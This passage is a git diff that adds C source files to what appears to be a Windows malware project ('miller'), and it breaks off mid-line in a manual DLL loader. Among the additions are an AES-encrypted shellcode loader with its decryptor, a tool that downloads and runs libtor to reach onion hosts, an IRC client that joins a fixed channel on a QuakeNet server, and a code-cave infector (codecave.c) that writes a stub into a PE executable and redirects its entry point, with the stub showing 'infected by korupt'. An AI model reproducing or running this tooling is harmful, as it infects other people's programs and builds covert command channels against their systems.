PyErr_SetString(PyExc_TypeError, "Key and Iv length must be a multiple of 4 bytes"); + goto failed; + } + + size_t outsiz = pyByteBuf.len + sizeof(uint32_t)*pyKeyBuf.len; + uint32_t* outbuf = PyMem_Malloc(outsiz); + memset(outbuf, '\0', outsiz); + memcpy(outbuf, pyByteBuf.buf, pyByteBuf.len); + size_t newsiz = xor32n_pcbc_crypt_buf(outbuf, pyByteBuf.len, pyIvBuf.buf, pyKeyBuf.buf, pyKeyBuf.len / 4); + result = PyByteArray_FromStringAndSize((const char*)outbuf, newsiz); + PyMem_Free(outbuf); + +failed: + PyBuffer_Release(&pyByteBuf); + PyBuffer_Release(&pyKeyBuf); + PyBuffer_Release(&pyIvBuf); + return result; +} + + +/* define module methods */ +static PyMethodDef pycryptMethods[] = { + {"info", info, METH_NOARGS, "print module info"}, + {"aesRandomKey", __aes_randomkey, METH_VARARGS, "generate random aes key"}, + {"aesAllocCtx", __aes_allocCtx, METH_VARARGS, "allocate memory for a aes encryption/decryption context"}, + {"aesCrypt", __aes_crypt, METH_VARARGS, "(en|de)crypt a memory buffer"}, + {"xorRandomKeyIv", __xor32_randomkeyiv, METH_VARARGS, "generate a random xor key/iv 32-bit sequence"}, + {"xorCrypt", __xor32n_pcbc_crypt_buf, METH_VARARGS, "(en|de)crypt a memory buffer"}, + {NULL, NULL, 0, NULL} +}; + +/* module initialization */ +PyMODINIT_FUNC +initpycrypt(void) +{ + srandom(time(NULL)); + + if (init() != 0) { + printf("%s: Error while initializing module\n", pname); + } else { + printf("ENABLED %s\n", pname); + PyObject* m = Py_InitModule(pname, pycryptMethods); + if (m) { + if (PyModule_AddIntMacro(m, KEY_128) != 0 || + PyModule_AddIntMacro(m, KEY_192) != 0 || + PyModule_AddIntMacro(m, KEY_256) != 0) { + printf("Failed to add some Macro's ..\n"); + } + } + } +} diff --git a/source/tools/host/pyloader.c b/source/tools/host/pyloader.c new file mode 100644 index 0000000..4d0a487 --- /dev/null +++ b/source/tools/host/pyloader.c @@ -0,0 +1,114 @@ +/* + * Module: pyloader.c + * Author: Toni Uhlig <matzeton@googlemail.com> + * Purpose: Python loadable module for loader modifications + */ + +#include "helper.h" /* must be the first include if compiling a python module */ + +#include <stdio.h> +#include <stdlib.h> + +#include "loader.h" + + +static const char pname[] = "pyloader"; +static const size_t ldr_strivkeylen = LOADER_STR_IVKEYLEN; +static const size_t ldr_ivkeylen = LOADER_IVKEYLEN; +static const char endmarker[] = { _LOADER_ENDMARKER }; +static struct loader_x86_data loader86; + + +static PyObject* info(PyObject* self, PyObject* args) +{ + char* ldr_bufstr = bintostr((char*)&endmarker[0], sizeof(endmarker)/sizeof(endmarker[0]), 0, NULL); + printf("%s: get miller loader data from python scripts\n" + "\tLOADER_STR_IVKEYLEN: %lu\n" + "\tLOADER_IVKEYLEN....: %lu\n" + , pname, ldr_strivkeylen, ldr_ivkeylen); + printf( "\tENDMARKER..........: %s\n", ldr_bufstr); + free(ldr_bufstr); + Py_RETURN_NONE; +} + +static PyObject* getLdrStrLen(PyObject* self, PyObject* args) +{ + return Py_BuildValue("(II)", + sizeof(loader86.strVirtualAlloc)/sizeof(loader86.strVirtualAlloc[0]), + sizeof(loader86.strIsBadReadPtr)/sizeof(loader86.strIsBadReadPtr[0])); +} + +static PyObject* getLdrStrIvKeyLen(PyObject* self, PyObject* args) +{ + return Py_BuildValue("I", ldr_strivkeylen); +} + +static PyObject* getLdrIvKeySiz(PyObject* self, PyObject* args) +{ + return Py_BuildValue("I", sizeof(loader86.key[0])); +} + +static PyObject* getLdrIvKeyLen(PyObject* self, PyObject* args) +{ + return Py_BuildValue("I", ldr_ivkeylen); +} + +static PyObject* getLdrStructSize(PyObject* self, PyObject* args) +{ + return Py_BuildValue("n", sizeof(loader86)); +} + +static PyObject* getLdrEndmarker(PyObject* self, PyObject* args) +{ + return Py_BuildValue("s#", &endmarker[0], sizeof(endmarker)/sizeof(endmarker[0])); +} + +static PyObject* getLdrEndmarkerSize(PyObject* self, PyObject* args) +{ + return Py_BuildValue("n", sizeof(endmarker)/sizeof(endmarker[0])); +} + +#define CALC_OFFSET(elem) ( (off_t)&(loader86.elem) - (off_t)&loader86 ) +#define PYDICT_STRUCT_OFFSET(elem) { PyObject* pyval = Py_BuildValue("n", CALC_OFFSET(elem)); if (pyval) { PyDict_SetItemString( dict, #elem, pyval ); Py_DECREF(pyval); } } +static PyObject* getLdrStructOffsetDict(PyObject* self, PyObject* args) +{ + PyObject* dict = PyDict_New(); + PYDICT_STRUCT_OFFSET(strVirtualAlloc[0]); + PYDICT_STRUCT_OFFSET(strIsBadReadPtr[0]); + PYDICT_STRUCT_OFFSET(iv[0]); + PYDICT_STRUCT_OFFSET(key[0]); + PYDICT_STRUCT_OFFSET(flags); + PYDICT_STRUCT_OFFSET(ptrToDLL); + PYDICT_STRUCT_OFFSET(sizOfDLL); + PYDICT_STRUCT_OFFSET(endMarker); + PyDict_SetItemString(dict, "ldrStrLen", getLdrStrLen(self, args)); + PyDict_SetItemString(dict, "ldrStrIvKeyLen", getLdrStrIvKeyLen(self, args)); + PyDict_SetItemString(dict, "ldrIvKeySiz", getLdrIvKeySiz(self, args)); + PyDict_SetItemString(dict, "ldrIvKeyLen", getLdrIvKeyLen(self, args)); + PyDict_SetItemString(dict, "structSize", getLdrStructSize(self, args)); + PyDict_SetItemString(dict, "endMarkerSize", getLdrEndmarkerSize(self, args)); + return dict; +} + +/* define module functions */ +static PyMethodDef pyloaderMethods[] = { + {"info", info, METH_NOARGS, "module info"}, + {"getLdrStrLen", getLdrStrLen, METH_NOARGS, "get loader strings length"}, + {"getLdrStrIvKeyLen", getLdrStrIvKeyLen, METH_NOARGS, "get loader string iv/key len"}, + {"getLdrIvKeySiz", getLdrIvKeySiz, METH_NOARGS, "get loader iv/key element size"}, + {"getLdrIvKeyLen", getLdrIvKeyLen, METH_NOARGS, "get loader iv/key len"}, + {"getStructSize", getLdrStructSize, METH_NOARGS, "get struct loader_x86_data size"}, + {"getEndmarker", getLdrEndmarker, METH_NOARGS, "get loader endmarker buffer"}, + {"getEndmarkerSize", getLdrEndmarkerSize, METH_NOARGS, "get loader endmarker bufsiz"}, + {"getStructOffset", getLdrStructOffsetDict, METH_NOARGS, "get loader struct offset dict"}, + {NULL, NULL, 0, NULL} /* Sentinel */ +}; + +/* module initialization */ +PyMODINIT_FUNC +initpyloader(void) +{ + memset(&loader86, '\0', sizeof(loader86)); + printf("ENABLED %s\n", pname); + (void) Py_InitModule(pname, pyloaderMethods); +} diff --git a/source/tools/httpquery.c b/source/tools/httpquery.c new file mode 100644 index 0000000..a753be6 --- /dev/null +++ b/source/tools/httpquery.c @@ -0,0 +1,162 @@ +#include "compat.h" + +#include <stdio.h> +#include <stdlib.h> +#include <stdbool.h> +#include <unistd.h> +#include <libgen.h> + +#include "crypt.h" +#include "crypt_strings.h" +#include "http.h" + + +typedef struct opts { + bool dl_libtor:1; + bool on_doloop:1; + char* on_host; + char* on_res; + char* on_meth; +} opts_t; + +static void usage(char* arg0) +{ + printf("usage: %s [-h] [-l] [-d HOST] [-r RESOURCE] [-m METHOD]\r\n" + "\t-h\tthis\r\n" + "\t-l\tdownload/run libtor\r\n" + "\t-p\tenter dll http loop\r\n" + "\t-d\tdestination onion host\r\n" + "\t\t\te.g. something.onion\r\n" + "\t-r\thttp resource\r\n" + "\t\t\te.g. /uri?paramN=valueN\r\n" + "\t-m\thttp method\r\n" + "\t\t\te.g. GET\r\n" + "\r\n", arg0); +} + +static void parse_opts(int argc, char** argv, opts_t* po) +{ + int opt; + + if (!po) return; + while ((opt = getopt(argc, argv, "hlpd:r:m:")) != -1) { + switch (opt) { + case 'h': + usage(argv[0]); + exit(1); + case 'l': + po->dl_libtor = true; + break; + case 'p': + po->on_doloop = true; + break; + case 'd': + po->on_host = strdup(optarg); + break; + case 'r': + po->on_res = strdup(optarg); + break; + case 'm': + po->on_meth = strdup(optarg); + break; + default: + printf("Unknown option: %d\r\n", opt); + break; + } + } +} + +int main(int argc, char** argv) +{ + opts_t o; + const char* arg0 = "httpquery"; + void* loadlib = LoadLibraryA; + void* getproc = GetProcAddress; + + if (!bInitCompat(LoadLibraryA("KERNEL32.dll"), getproc)) + return -1; + + memset(&o, 0, sizeof(o)); + parse_opts(argc, argv, &o); + + COMPAT(printf)("LoadLibraryA.....: 0x%p\r\n", loadlib); + COMPAT(printf)("GetProcAddress...: 0x%p\r\n", getproc); + + if (initHttp(loadlib, getproc) != 0) { + COMPAT(printf)("%s: initHttp(...) failed\r\n", arg0); + return 1; + } + + /* download libtor and save it to %TEMP%\libonion.dll */ + if (o.dl_libtor) { + COMPAT(printf)("%s: download libtor\r\n", arg0); + int ret; + char* libPath = NULL; + if ((ret = downloadLibtor(&libPath)) != ERR_HTTP_OK) { + COMPAT(printf)("%s: libtor download failed with %d (GetLastError: %u/0x%X)\r\n", arg0, ret, (unsigned)GetLastError(), (unsigned)GetLastError()); + } else { + COMPAT(printf)("%s: libtor: %s\r\n", arg0, libPath); + HMODULE libmod = NULL; + tor_main_t tm = loadLibtor(libPath, &libmod, LoadLibraryA, GetProcAddress); + COMPAT(printf)("%s: libmod: %p, tormain: %p\r\n", arg0, libmod, tm); + /* run tor main loop */ + tm(59050, 0xdeadc0de); + } + if (libPath) + COMPAT(free)(libPath); + } + + struct http_args hArgs = {0}; + +#ifdef _HTTP_LOCALHOST + DBUF(HTTP_HOST_LOCAL_ENUM, __hosts); + char __onion[1] = {0}; +#else + DBUF(HTTP_HOSTS_ENUM, __hosts); + DBUF(HTTP_ONION_ENUM, __onion); +#endif + + char* cur = NULL; + char* end = NULL; + get_string_in_strings_di(__hosts, 0, &cur, &end); + + size_t hostLen = strlen(__onion) + strlen(cur); + char host[hostLen+1]; + snprintf(&host[0], hostLen+1, cur, __onion); + + hArgs.host = (o.on_host != NULL ? o.on_host : host); + hArgs.hostLen = strlen(hArgs.host); + hArgs.resource = (o.on_res != NULL ? o.on_res : "/"); + hArgs.resourceLen = strlen(hArgs.resource); + hArgs.method = (o.on_meth != NULL ? o.on_res : "GET"); + hArgs.methodLen = strlen(hArgs.method); + + rrbuff out = NULL; + rrsize outSiz = 0; + DWORD status = 0; + int ret = sendHttpRequest(&hArgs, &out, &outSiz, &status); + switch (ret) { + case 0: + COMPAT(printf)("Success: %u\r\n", (unsigned)status); + break; + default: + COMPAT(printf)("Error: %d (GetLastError: %u/0x%X)\r\n", ret, (unsigned)GetLastError(), (unsigned)GetLastError()); + break; + } + + if (out && outSiz > 0) + COMPAT(printf)("Website content (Status %d, Size: %u):\n%s\r\n", (int)status, (unsigned)outSiz, out); + + if (o.on_doloop) { + printf("Enter HTTP Loop ..\n"); + while (1) { + httpLoopAtLeastOnce(); + sleep(20); + } + } + + if (o.on_host) free(o.on_host); + if (o.on_meth) free(o.on_meth); + if (o.on_res) free(o.on_res); + return ret; +} diff --git a/source/tools/ircmsg.c b/source/tools/ircmsg.c new file mode 100644 index 0000000..fa01bbc --- /dev/null +++ b/source/tools/ircmsg.c @@ -0,0 +1,37 @@ +#include "compat.h" +#include "irc.h" + + +int main(int argc, char** argv) +{ + void* loadlib = LoadLibraryA; + void* getproc = GetProcAddress; + + (void) argc; + if (!bInitCompat(LoadLibraryA("KERNEL32.dll"), getproc)) + return -1; + + COMPAT(printf)("LoadLibraryA.....: 0x%p\n", loadlib); + COMPAT(printf)("GetProcAddress...: 0x%p\n", getproc); + COMPAT(printf)("WSAStartup.......: 0x%p\n", WSAStartup); + + int ret; + if ((ret = initSocket(loadlib, getproc)) != 0) { + COMPAT(printf)("%s: initSocket(...) failed with: %d\n", argv[0], ret); + return 1; + } + + if ((ret = ircLoop("muzzling", "#blkhtm", "dreamhack.se.quakenet.org", "6667")) != 0) { + COMPAT(printf)("%s: ircLoop() returned: %d\n", argv[0], ret); + } + switch (ret) { + case WSAHOST_NOT_FOUND: + COMPAT(printf)("%s: Host not found.\n", argv[0]); + break; + case WSAETIMEDOUT: + COMPAT(printf)("%s: Connection timed out.\n", argv[0]); + break; + } + + return 0; +} diff --git a/source/tools/libtor.c b/source/tools/libtor.c new file mode 100644 index 0000000..903ac82 --- /dev/null +++ b/source/tools/libtor.c @@ -0,0 +1,52 @@ +#include <stdio.h> +#include <stdlib.h> + +#include <windows.h> + +#include "http.h" + + +const char tm_proc[] = "tor_main@8"; +const unsigned int default_port = 59050; +const unsigned int ident = 0xdeadc0de; + +int main(int argc, char** argv) +{ + unsigned int pport = default_port; + + if (argc < 2) { + fprintf(stderr, "usage: %s [Path-To-LibTor.dll] [Proxy-Port]\n", argv[0]); + exit(1); + } + if (argc >= 3) { + pport = atoi(argv[2]); + if (pport == 0) + pport = default_port; + } + + SetLastError(0); + HMODULE hLibTor = LoadLibraryA(argv[1]); + tor_main_t tor_main = NULL; + if (hLibTor) { + tor_main = (tor_main_t) GetProcAddress(hLibTor, tm_proc); + } + + printf("libtor..: 0x%p\n" + "tor_main: 0x%p\n" + "error...: %lu\n" + , hLibTor, tor_main, GetLastError()); + + if (tor_main) { + printf("\nCalling %s(%u, 0x%p) ..\n", tm_proc, pport, (void*)ident); + int ret = tor_main(pport, ident); + if (ret == 0) { + printf("%s succeeded\n", tm_proc); + } else { + printf("%s returned: %d\n", tm_proc, ret); + } + exit(ret); + } else { + fprintf(stderr, "Did not find \"%s\" int %s\n", tm_proc, argv[1]); + exit(1); + } +} diff --git a/source/tools/loader_base.c b/source/tools/loader_base.c new file mode 100644 index 0000000..7ce73cb --- /dev/null +++ b/source/tools/loader_base.c @@ -0,0 +1,102 @@ +#include <windows.h> + +#include <stdio.h> +#include <stdlib.h> +#include <unistd.h> + + +/* see source/loader_x86.asm */ +int loader_start() __asm__("__ldr_start"); + + +#pragma GCC diagnostic ignored "-Wreturn-type" +extern int getKernelBase(void) __asm__("getKernelBase"); + +static int __attribute__ ((unused)) +__dummy_getKernelBase() +{ + __asm__ __volatile__( + ".intel_syntax noprefix\n" + ".global getKernelBase\n" + "getKernelBase:\n" + "nop; nop; nop\n\t" + "mov eax,[fs:0x30]\n\t" + "mov eax,[eax+0x0c]\n\t" + "mov eax,[eax+0x14]\n\t" + "mov eax,[eax]; mov eax,[eax]\n\t" + "mov eax,[eax+0x10]\n\t" + "ret\n\t" + "nop; nop; nop\n\t" + ".att_syntax\n" + ); +} +#pragma GCC diagnostic warning "-Wreturn-type" /* disable "non void function doesnt return anything"-error */ + +extern FARPROC myGetProcAddress(HMODULE hModule, LPCSTR lpProcName) { + return GetProcAddress(hModule, lpProcName); +} + +extern HMODULE WINAPI myGetModuleHandle(LPCTSTR lpModuleName) { + return GetModuleHandle(lpModuleName); +} + +int main(int argc, char** argv) +{ + DWORD dwWait = 2; + + if (argc > 1 && argc != 2) { + printf("usage: %s [WAIT_TIME]\n", argv[0]); + abort(); + } else if (argc == 2) { + errno = 0; + dwWait = strtoul(argv[1], NULL, 10); + if (errno != 0) + dwWait = 2; + } else if (argc == 1) { + printf("You can set my termination time with `%s [WAIT_TIME]`\n\n", argv[0]); + } + + printf("getKernelBase....: 0x%p\n", (char*)getKernelBase()); + + __asm__ __volatile__( + "nop; nop; nop; nop; nop;" + ); + HMODULE k32 = myGetModuleHandle("kernel32.dll"); + __asm__ __volatile__( + "nop; nop; nop; nop; nop;" + ); + printf("Kernel32.dll.....: 0x%p\n", k32); + __asm__ __volatile__( + "nop; nop; nop; nop; nop;" + ); + printf("GetProcAddr......: 0x%p\n", GetProcAddress); + printf("VirtualAlloc.....: 0x%p\n", myGetProcAddress(k32, "VirtualAlloc")); + printf("IsBadReadPtr.....: 0x%p\n", myGetProcAddress(k32, "IsBadReadPtr")); + + __asm__ __volatile__( + "nop; nop; nop; nop; nop;" + ); + +#ifdef _MILLER_IMAGEBASE + /* force relocation */ + LPVOID vpointer = VirtualAlloc((LPVOID)_MILLER_IMAGEBASE, 0x1000, MEM_RESERVE, PAGE_READWRITE); + if (!vpointer) { + printf("VirtualAlloc,,,..: %ld\n", GetLastError()); + } else { + printf("Ptr-alloc'd......: 0x%p\n", vpointer); + } +#else + printf("WARNING..........: Ptr-alloc disabled ( missing macro `-D_MILLER_IMAGEBASE=[HEX-VALUE]` )\n"); +#endif + + /* loader test */ + printf("Loader...........: 0x%p\n", loader_start); + printf("------------ EoL ------------\n"); + int retval = loader_start(); + sleep(dwWait); + printf("-----------------------------\n"); + printf("Loader init......: 0x%p (%d)\n", (void*)retval, retval); + printf("error............: 0x%p (%ld)\n", (void*)GetLastError(), GetLastError()); + + return retval; +} diff --git a/source/tools/loader_decrypt.c b/source/tools/loader_decrypt.c new file mode 100644 index 0000000..0043e7a --- /dev/null +++ b/source/tools/loader_decrypt.c @@ -0,0 +1,58 @@ +#include "compat.h" + +#include <stdio.h> +#include <stdlib.h> +#include <stdbool.h> + +#include "utils.h" +#include "helper.h" +#include "aes.h" +#include "xor_strings.h" +#include "aes_strings_gen.h" +#include "loader_x86_crypt.h" + + +_AESDATA_(ldrdata, LOADER_SHELLCODE); +_AESSIZE_(ldrsiz, ldrdata); +static const size_t real_ldrsiz = LOADER_SHELLCODE_SIZE; + +_AESDATA_(ldrdbgdata, LOADER_SHELLCODE_DEBUG); +_AESSIZE_(ldrdbgsiz, ldrdbgdata); +static const size_t real_ldrdbgsiz = LOADER_SHELLCODE_DEBUG_SIZE; + + +int main(int argc, char** argv) +{ + (void)argc; + aes_init(); + + size_t pSiz = 0; + aes_ctx_t* ctx = aes_alloc_ctx((unsigned char*)LDR_KEY, LDR_KEYSIZ); + + BYTE* ldr = (BYTE*)aes_crypt_s(ctx, (char*)ldrdata, (size_t)ldrsiz, &pSiz, false); + + char* hexout = bintostr((char*)ldr, real_ldrsiz, 1, NULL); + printf("%s [DECRYPTED]: %u bytes\n%s\n", argv[0], real_ldrsiz, hexout); + + free(ldr); + free(hexout); + + hexout = bintostr((char*)ldrdata, ldrsiz, 1, NULL); + printf("%s [ENCRYPTED]: %u bytes\n%s\n", argv[0], ldrsiz, hexout); + free(hexout); + + ldr = (BYTE*)aes_crypt_s(ctx, (char*)ldrdbgdata, (size_t)ldrdbgsiz, &pSiz, false); + + hexout = bintostr((char*)ldr, real_ldrdbgsiz, 1, NULL); + printf("%s [DECRYPTED]: %u bytes\n%s\n", argv[0], real_ldrdbgsiz, hexout); + + free(ldr); + free(hexout); + + hexout = bintostr((char*)ldrdata, ldrdbgsiz, 1, NULL); + printf("%s [ENCRYPTED]: %u bytes\n%s\n", argv[0], ldrdbgsiz, hexout); + free(hexout); + + aes_free_ctx(ctx); + return 0; +} diff --git a/source/tools/loadmodule.c b/source/tools/loadmodule.c new file mode 100644 index 0000000..48bc8be --- /dev/null +++ b/source/tools/loadmodule.c @@ -0,0 +1,57 @@ +#include <stdio.h> +#include <stdlib.h> +#include <libgen.h> +#include <windows.h> + + +const char dllpath[] = "libw32miller_pre-shared.dll"; + + +int main(int argc, char** argv) { + char* path = NULL; + BOOL hasPathToDLL = FALSE; + + if (argc == 2) { + path = argv[1]; + hasPathToDLL = TRUE; + } else if (argc == 1) { + path = dirname(argv[0]); + } else { + printf("usage: %s [|PATH_TO_DLL]\n", path); + return 1; + } + +#ifdef _MILLER_IMAGEBASE + /* force windows loader to relocate module */ + LPVOID vpointer = VirtualAlloc((LPVOID)_MILLER_IMAGEBASE, 0x1000, MEM_RESERVE, PAGE_READWRITE); + if (!vpointer) { + printf("VirtualAlloc..: %ld\n", GetLastError()); + } else { + printf("Ptr-alloc'd...: 0x%p\n", vpointer); + } +#else + printf("WARN..........: Ptr-alloc disabled ( missing macro `-D_MILLER_IMAGEBASE=[HEX-VALUE]` )\n"); +#endif + + + HANDLE h = NULL; + + if (!hasPathToDLL) { + SetDllDirectory(path); + printf("DLL-dir.......: %s\n", path); + printf("DLL-file......: %s\n", dllpath); + h = LoadLibrary(dllpath); + } else { + printf("DLL-file......: %s\n", path); + h = LoadLibrary(path); + } + + if (!h) { + printf("LoadLibrary...: %ld\n", GetLastError()); + } else { + printf("LoadLibrary...: %s\n", "SUCCESS"); + } + + printf("Library HANDLE: 0x%p\n", h); + return 0; +} diff --git a/source/tools/old/codecave.c b/source/tools/old/codecave.c new file mode 100644 index 0000000..e921932 --- /dev/null +++ b/source/tools/old/codecave.c @@ -0,0 +1,253 @@ +#include <windows.h> +#include <stdio.h> + +// fucking gcc wont let us use __declspec(naked) +// so we have to fudge around this with assembler hacks +void realStubStart(); +void realStubEnd(); + + +void StubStart() +{ + + __asm__( + ".intel_syntax noprefix\n" // att syntax sucks + ".globl _realStubStart\n" + "_realStubStart:\n\t" // _realStubStart is global --^ + + "pusha\n\t" // preserve our thread context + "call GetBasePointer\n" + "GetBasePointer:\n\t" + "pop ebp\n\t" + "sub ebp, offset GetBasePointer\n\t" // delta offset trick. Think relative... + + "push 0\n\t" + "lea eax, [ebp+szTitle]\n\t" + "push eax\n\t" + "lea eax, [ebp+szText]\n\t" + "push eax\n\t" + "push 0\n\t" + "mov eax, 0xCCCCCCCC\n\t" + "call eax\n\t" + + "popa\n\t" // restore our thread context + "push 0xCCCCCCCC\n\t" // push address of orignal entrypoint(place holder) + "ret\n" // retn used as jmp + + // i dont know about you but i like GCC;'s method of strings + // over MSVC :P + "szTitle: .string \"o hi\"\n" + "szText: .string \"infected by korupt\"\n" + + ".globl _realStubEnd\n" + "_realStubEnd:\n\t" + + ".att_syntax\n" // fix so the rest of gcc doesnt burp + ); +} + +// By Napalm +DWORD FileToVA(DWORD dwFileAddr, PIMAGE_NT_HEADERS pNtHeaders) +{ + WORD wSections; + PIMAGE_SECTION_HEADER lpSecHdr = (PIMAGE_SECTION_HEADER)((DWORD)pNtHeaders + sizeof(IMAGE_NT_HEADERS)); + for (wSections = 0; wSections < pNtHeaders->FileHeader.NumberOfSections; wSections++) + { + if (dwFileAddr >= lpSecHdr->PointerToRawData) + { + if (dwFileAddr < (lpSecHdr->PointerToRawData + lpSecHdr->SizeOfRawData)) + { + dwFileAddr -= lpSecHdr->PointerToRawData; + dwFileAddr += (pNtHeaders->OptionalHeader.ImageBase + lpSecHdr->VirtualAddress); + return dwFileAddr; + } + } + + lpSecHdr++; + } + + return 0; +} + +int main(int argc, char* argv[]) +{ + PIMAGE_DOS_HEADER pDosHeader; + PIMAGE_NT_HEADERS pNtHeaders; + PIMAGE_SECTION_HEADER pSection, pSectionHeader; + HANDLE hFile, hFileMap; + HMODULE hUser32; + LPBYTE hMap; + + int i = 0, charcounter = 0; + DWORD oepRva = 0, oep = 0, fsize = 0, writeOffset = 0, oepOffset = 0, callOffset = 0; + unsigned char *stub; + + // work out stub size + DWORD start = (DWORD)realStubStart; + DWORD end = (DWORD)realStubEnd; + DWORD stubLength = (end - start); + + if (argc != 2) + { + printf("Usage: %s [file]\n", argv[0]); + return 0; + } + + // map file + hFile = CreateFile(argv[1], GENERIC_WRITE | GENERIC_READ, FILE_SHARE_READ | FILE_SHARE_WRITE, + NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL); + if (hFile == INVALID_HANDLE_VALUE) + { + printf("[-] Cannot open %s\n", argv[1]); + return 0; + } + + fsize = GetFileSize(hFile, 0); + if (!fsize) + { + printf("[-] Could not get files size\n"); + CloseHandle(hFile); + return 0; + } + + hFileMap = CreateFileMapping(hFile, NULL, PAGE_READWRITE, 0, fsize, NULL); + if (!hFileMap) + { + printf("[-] CreateFileMapping failed\n"); + CloseHandle(hFile); + return 0; + } + + hMap = (LPBYTE)MapViewOfFile(hFileMap, FILE_MAP_ALL_ACCESS, 0, 0, fsize); + if (!hMap) + { + printf("[-] MapViewOfFile failed\n"); + CloseHandle(hFileMap); + CloseHandle(hFile); + return 0; + } + + // check signatures + pDosHeader = (PIMAGE_DOS_HEADER)hMap; + if (pDosHeader->e_magic != IMAGE_DOS_SIGNATURE) + { + printf("[-] DOS signature not found\n"); + goto cleanup; + } + + pNtHeaders = (PIMAGE_NT_HEADERS)((DWORD)hMap + pDosHeader->e_lfanew); + if (pNtHeaders->Signature != IMAGE_NT_SIGNATURE) + { + printf("[-] NT signature not found\n"); + goto cleanup; + } + + + // korupt you need to tdo this more often fuck argh + if (pNtHeaders->FileHeader.Machine != IMAGE_FILE_MACHINE_I386) + { + printf("[-] Not an i386 executable\n"); + goto cleanup; + } + + // get last section's header... + pSectionHeader = (PIMAGE_SECTION_HEADER)((DWORD)hMap + pDosHeader->e_lfanew + sizeof(IMAGE_NT_HEADERS)); + pSection = pSectionHeader; + pSection += (pNtHeaders->FileHeader.NumberOfSections - 1); + + // save entrypoint + oep = oepRva = pNtHeaders->OptionalHeader.AddressOfEntryPoint; + oep += (pSectionHeader->PointerToRawData) - (pSectionHeader->VirtualAddress); + + // locate free space + i = pSection->PointerToRawData; + for (; i != fsize; i++) + { + if ((BYTE)hMap[i] == 0x00) + { + if (charcounter++ == stubLength + 24) + { + printf("[+] Code cave located @ 0x%08X\n", i); + writeOffset = i; + } + } + else charcounter = 0; + } + + if (charcounter == 0 || writeOffset == 0) + { + printf("[-] Could not locate a big enough code cave\n"); + goto cleanup; + } + + writeOffset -= stubLength; + + stub = (unsigned char *)malloc(stubLength + 1); + if (!stub) + { + printf("[-] Error allocating sufficent memory for code\n"); + goto cleanup; + } + + // copy stub into a buffer + memcpy(stub, realStubStart, stubLength); + + // locate offsets of place holders in code + for (i = 0, charcounter = 0; i != stubLength; i++) + { + if (stub[i] == 0xCC) + { + charcounter++; + if (charcounter == 4 && callOffset == 0) + callOffset = i - 3; + else if (charcounter == 4 && oepOffset == 0) + oepOffset = i - 3; + } + else charcounter = 0; + } + + // check they're valid + if (oepOffset == 0 || callOffset == 0) + { + free(stub); + goto cleanup; + } + + hUser32 = LoadLibrary("User32.dll"); + if (!hUser32) + { + free(stub); + printf("[-] Could not load User32.dll"); + goto cleanup; + } + + // fill in place holders + *(u_long *)(stub + oepOffset) = (oepRva + pNtHeaders->OptionalHeader.ImageBase); + *(u_long *)(stub + callOffset) = ((DWORD)GetProcAddress(hUser32, "MessageBoxA")); + FreeLibrary(hUser32); + + // write stub + memcpy((PBYTE)hMap + writeOffset, stub, stubLength); + + // set entrypoint + pNtHeaders->OptionalHeader.AddressOfEntryPoint = + FileToVA(writeOffset, pNtHeaders) - pNtHeaders->OptionalHeader.ImageBase; + + // set section size + pSection->Misc.VirtualSize += stubLength; + pSection->Characteristics |= IMAGE_SCN_MEM_WRITE | IMAGE_SCN_MEM_READ | IMAGE_SCN_MEM_EXECUTE; + + // cleanup + printf("[+] Stub written!!\n[*] Cleaning up\n"); + free(stub); + +cleanup: + FlushViewOfFile(hMap, 0); + UnmapViewOfFile(hMap); + + SetFilePointer(hFile, fsize, NULL, FILE_BEGIN); + SetEndOfFile(hFile); + CloseHandle(hFileMap); + CloseHandle(hFile); + return 0; +} diff --git a/source/tools/old/loadlib.c b/source/tools/old/loadlib.c new file mode 100644 index 0000000..b2689ee --- /dev/null +++ b/source/tools/old/loadlib.c @@ -0,0 +1,397 @@ +#include <windows.h> +#include <string.h> + +#include "compat.h" + +#define MAKE_ORDINAL(val) (val & 0xffff) +#define ROUND(n, r) (((n + (r - 1)) / r) * r) + +#define GET_NT_HEADERS(module) ((IMAGE_NT_HEADERS *)((char *)module + ((IMAGE_DOS_HEADER *)module)->e_lfanew)) + +typedef BOOL (WINAPI *DllMainFunc)(HINSTANCE hinstDLL, DWORD fdwReason, LPVOID lpvReserved); + +static void free_imp_by_range(void *module, + IMAGE_IMPORT_DESCRIPTOR *begining, + IMAGE_IMPORT_DESCRIPTOR *end); +void *get_proc_address(HMODULE module, const char *proc_name); + + +DWORD rva_to_raw(DWORD rva, IMAGE_NT_HEADERS *nt_headers) +{ + WORD nsections; + IMAGE_SECTION_HEADER *sec_hdr = (IMAGE_SECTION_HEADER *)((char *)nt_headers + sizeof(IMAGE_NT_HEADERS)); + + for (nsections = 0; nsections < nt_headers->FileHeader.NumberOfSections; nsections++) + { + if (rva >= sec_hdr->VirtualAddress && + rva < (sec_hdr->VirtualAddress + sec_hdr->Misc.VirtualSize)) + return sec_hdr->PointerToRawData + (rva - sec_hdr->VirtualAddress); + sec_hdr++; + } + return 0; +} + +static int is_pe(void *map) +{ + IMAGE_DOS_HEADER *dos_hdr; + IMAGE_NT_HEADERS *nt_hdrs; + + dos_hdr = (IMAGE_DOS_HEADER *)map; + if (dos_hdr->e_magic != IMAGE_DOS_SIGNATURE) + return 0; + nt_hdrs = (IMAGE_NT_HEADERS *)((char *)map + dos_hdr->e_lfanew); + return nt_hdrs->Signature == IMAGE_NT_SIGNATURE; +} + +static IMAGE_IMPORT_DESCRIPTOR *get_imp_desc(void *module) +{ + IMAGE_NT_HEADERS *nt_hdrs; + DWORD imp_desc_rva; + nt_hdrs = GET_NT_HEADERS(module); + if (!(imp_desc_rva = nt_hdrs->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_IMPORT].VirtualAddress)) + return NULL; + return (IMAGE_IMPORT_DESCRIPTOR *)((char *)module + imp_desc_rva); +} + +static int load_imports(void *module) +{ + IMAGE_IMPORT_DESCRIPTOR *first_imp_desc, *imp_desc; + first_imp_desc = imp_desc = get_imp_desc(module); + /* FIX ME: is checking Name and Stamp enough? */ + for (; imp_desc->Name || imp_desc->TimeDateStamp; ++imp_desc) + { + IMAGE_THUNK_DATA *name_table, *address_table, *thunk; + char *dll_name; + HMODULE lib_module; + + dll_name = (char *)module + imp_desc->Name; + /* the reference count side effect is desired */ + if (!(lib_module = LoadLibraryA(dll_name))) + goto fail; + + name_table = (IMAGE_THUNK_DATA *)((char *)module + imp_desc->OriginalFirstThunk); + address_table = (IMAGE_THUNK_DATA *)((char *)module + imp_desc->FirstThunk); + + /* if there is no name table, use address table */ + thunk = 